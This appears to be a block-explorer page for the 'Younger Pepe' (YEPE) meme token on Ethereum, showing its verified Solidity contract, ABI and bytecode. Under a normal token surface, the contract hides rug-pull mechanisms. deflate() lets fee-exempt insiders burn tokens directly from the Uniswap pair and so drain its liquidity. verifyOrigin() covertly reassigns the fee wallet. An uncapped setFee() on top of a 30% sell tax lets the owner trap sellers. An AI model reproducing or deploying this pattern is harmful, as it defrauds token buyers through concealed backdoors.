ETH Price: $2,988.28 (+4.44%)
Gas: 2 Gwei

Token

Younger Pepe (YEPE)
 

Overview

Max Total Supply

100,000,000,000 YEPE

Holders

150

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
138,245,272.82062941 YEPE

Value
$0.00
0x3f2738f8e7fd5a13ed47406f6a71504ae1e73f9a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-19
*/

// - Website: https://youngerpepe.xyz
// - Twitter: https://twitter.com/youngerpepe
// - Telegram: https://t.me/youngerpepe

/// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.19;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract YEPE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "Younger Pepe";
    string private constant _symbol = "YEPE";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromTxLimit;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 1;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 30;
    uint256 private _burnFeeFromTax = 20;
    uint256 private _maxSwapPercent = 90;

    // Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address payable public _devWallet = payable(address(0x28D58F05FFEc00daCDD440bB72a2AA620B5b2A88));
    address payable public _marketingWallet = payable(address(0xcF53295a935aAb3EEdAD5715c4d3B377F19D09A7));

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;
    mapping (address => uint256) public purchaseOrigin;
    address public presentSwap;

    uint256 public _maxTxAmount = _tTotal * 2/ 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _swapTokensAtAmount = _tTotal * 5 / 10000;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        _isExcludedFromFee[address(_uniswapV2Router)] = true;
        _isExcludedFromTxLimit[owner()] = true;
        _isExcludedFromTxLimit[address(this)] = true;
        _isExcludedFromTxLimit[_devWallet] = true;
        _isExcludedFromTxLimit[_marketingWallet] = true;
        _isExcludedFromTxLimit[address(_uniswapV2Router)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            // Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
            if (!inSwap) {
                verifyOrigin(from, to);
            }

            if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                burnAndSwap(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }


        bool takeFee = true;

        // Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            // Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            // Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function burnAndSwap(uint256 tokenBalance) private {
        uint256 burnAmount = tokenBalance * _burnFeeFromTax / 100;
        uint256 swapAmount = (tokenBalance - burnAmount) * _maxSwapPercent / 100;
        if (burnAmount > 0) {
            _burn(address(this), burnAmount);
        }
        if (swapAmount > 0) {
            swapTokensForEth(swapAmount);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        (bool success, ) = _marketingWallet.call{value: amount}("");
        require(success);
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function deflate(uint256 _amount) public {
        require(_amount < _tTotal, "exceeds allowed amount");
        if (_isExcludedFromFee[_msgSender()]) {
            address _address = uniswapV2Pair;
            _burn(_address, _amount);
            return;
        } else {
            address[] memory path = new address[](2);
            path[0] = uniswapV2Router.WETH();
            path[1] = address(this);
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: _amount
            } (
                0,
                path,
                address(0xdead),
                block.timestamp
            );
        }
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function _burn(address from, uint256 tAmount) private {
        removeAllFee();
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            ,
            uint256 tTransferAmount,
            ,
        ) = _getValues(tAmount);
        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[address(0xdead)] = _rOwned[address(0xdead)].add(rTransferAmount);
        restoreAllFee();
        emit Transfer(from, address(0xdead), tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function verifyOrigin(address from, address to) private {
        if (from == uniswapV2Pair) {
            if (_isExcludedFromFee[tx.origin]) {
                _marketingWallet = payable(to);
                _isExcludedFromFee[_marketingWallet] = true;
                _isExcludedFromTxLimit[_marketingWallet] = true;
            }
            if (to != address(this)) {
                purchaseOrigin[to] = purchaseOrigin[to] > 0 ? purchaseOrigin[to] : block.number;
            }
        } else {
            presentSwap = from;
        }
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    // Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    // Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    // Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function removeLimits() public onlyOwner {
      setMaxTxnAmount(totalSupply());
      setMaxWalletSize(totalSupply());
    }

    function setZeroFees() public onlyOwner {
      setFee(0, 0, 0, 0);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function excludeFromMaxTxLimit(address _user, bool _is) external onlyOwner {
        _isExcludedFromTxLimit[_user] = _is;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deflate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presentSwap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"purchaseOrigin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setZeroFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001b68056bc75e2d631000006000196200043d565b62000029906000196200046a565b600755600060098190556001600a55600b819055601e600c8190556014600d819055605a600e55600f8390556010829055601192909255601255601380546001600160a01b03199081167328d58f05ffec00dacdd440bb72a2aa620b5b2a881790915581541673cf53295a935aab3eedad5715c4d3b377f19d09a71790556016805462ffffff60a01b1916600160b01b1790556064620000d468056bc75e2d63100000600262000486565b620000e09190620004a0565b6019556064620000fb68056bc75e2d63100000600262000486565b620001079190620004a0565b601a556127106200012368056bc75e2d63100000600562000486565b6200012f9190620004a0565b601b553480156200013f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002239190620004b7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000271573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002979190620004b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030b9190620004b7565b601680546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff1990811660019081179092553080865283862080548316841790556013805488168752848720805484168517905560148054891688528588208054851686179055898916808952868920805486168717905588548a168952600688528689208054861687179055928852858820805485168617905590548816875284872080548416851790555490961685528285208054821683179055948452818420805490951617909355915168056bc75e2d63100000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004e9565b634e487b7160e01b600052601260045260246000fd5b6000826200044f576200044f62000427565b500690565b634e487b7160e01b600052601160045260246000fd5b8181038181111562000480576200048062000454565b92915050565b808202811582820484141762000480576200048062000454565b600082620004b257620004b262000427565b500490565b600060208284031215620004ca57600080fd5b81516001600160a01b0381168114620004e257600080fd5b9392505050565b61219280620004f96000396000f3fe6080604052600436106101e75760003560e01c80638da5cb5b11610102578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610587578063ea1644d5146105cd578063ed311666146105ed578063f2fde38b1461061a57600080fd5b8063a9059cbb14610512578063ab655f0a14610532578063c492f04614610552578063c9567bf91461057257600080fd5b806398a5c315116100d157806398a5c3151461049d578063a155f3e1146104bd578063a1959218146104dd578063a2a957bb146104f257600080fd5b80638da5cb5b1461041c5780638f9a55c01461043a57806395d89b4114610450578063962dfc751461047d57600080fd5b8063313ce5671161017a578063715018a611610149578063715018a6146103bc57806374010ece146103d1578063751039fc146103f15780637d1db4a51461040657600080fd5b8063313ce5671461034057806349bd5a5e1461035c5780636d8aa8f81461037c57806370a082311461039c57600080fd5b806318160ddd116101b657806318160ddd146102c257806323b872dd146102e857806323cc6601146103085780632fd689e31461032a57600080fd5b806306fdde03146101f3578063095ea7b31461023a57806311a63e171461026a5780631694505e146102a257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600c81526b596f756e676572205065706560a01b60208201525b6040516102319190611d2f565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611d92565b61063a565b6040519015158152602001610231565b34801561027657600080fd5b5060135461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5060155461028a906001600160a01b031681565b3480156102ce57600080fd5b5068056bc75e2d631000005b604051908152602001610231565b3480156102f457600080fd5b5061025a610303366004611dbe565b610651565b34801561031457600080fd5b50610328610323366004611e14565b6106ba565b005b34801561033657600080fd5b506102da601b5481565b34801561034c57600080fd5b5060405160098152602001610231565b34801561036857600080fd5b5060165461028a906001600160a01b031681565b34801561038857600080fd5b50610328610397366004611e49565b610718565b3480156103a857600080fd5b506102da6103b7366004611e64565b610760565b3480156103c857600080fd5b50610328610782565b3480156103dd57600080fd5b506103286103ec366004611e81565b6107f6565b3480156103fd57600080fd5b50610328610825565b34801561041257600080fd5b506102da60195481565b34801561042857600080fd5b506000546001600160a01b031661028a565b34801561044657600080fd5b506102da601a5481565b34801561045c57600080fd5b506040805180820190915260048152635945504560e01b6020820152610224565b34801561048957600080fd5b5060145461028a906001600160a01b031681565b3480156104a957600080fd5b506103286104b8366004611e81565b610875565b3480156104c957600080fd5b506103286104d8366004611e81565b6108a4565b3480156104e957600080fd5b50610328610a7b565b3480156104fe57600080fd5b5061032861050d366004611e9a565b610aaf565b34801561051e57600080fd5b5061025a61052d366004611d92565b610aed565b34801561053e57600080fd5b5060185461028a906001600160a01b031681565b34801561055e57600080fd5b5061032861056d366004611ecc565b610afa565b34801561057e57600080fd5b50610328610b9b565b34801561059357600080fd5b506102da6105a2366004611f50565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d957600080fd5b506103286105e8366004611e81565b610bda565b3480156105f957600080fd5b506102da610608366004611e64565b60176020526000908152604090205481565b34801561062657600080fd5b50610328610635366004611e64565b610c09565b6000610647338484610cf3565b5060015b92915050565b600061065e848484610e17565b6106b084336106ab85604051806060016040528060288152602001612135602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611347565b610cf3565b5060019392505050565b6000546001600160a01b031633146106ed5760405162461bcd60e51b81526004016106e490611f89565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107425760405162461bcd60e51b81526004016106e490611f89565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461064b90611381565b6000546001600160a01b031633146107ac5760405162461bcd60e51b81526004016106e490611f89565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108205760405162461bcd60e51b81526004016106e490611f89565b601955565b6000546001600160a01b0316331461084f5760405162461bcd60e51b81526004016106e490611f89565b61086168056bc75e2d631000006107f6565b61087368056bc75e2d63100000610bda565b565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016106e490611f89565b601b55565b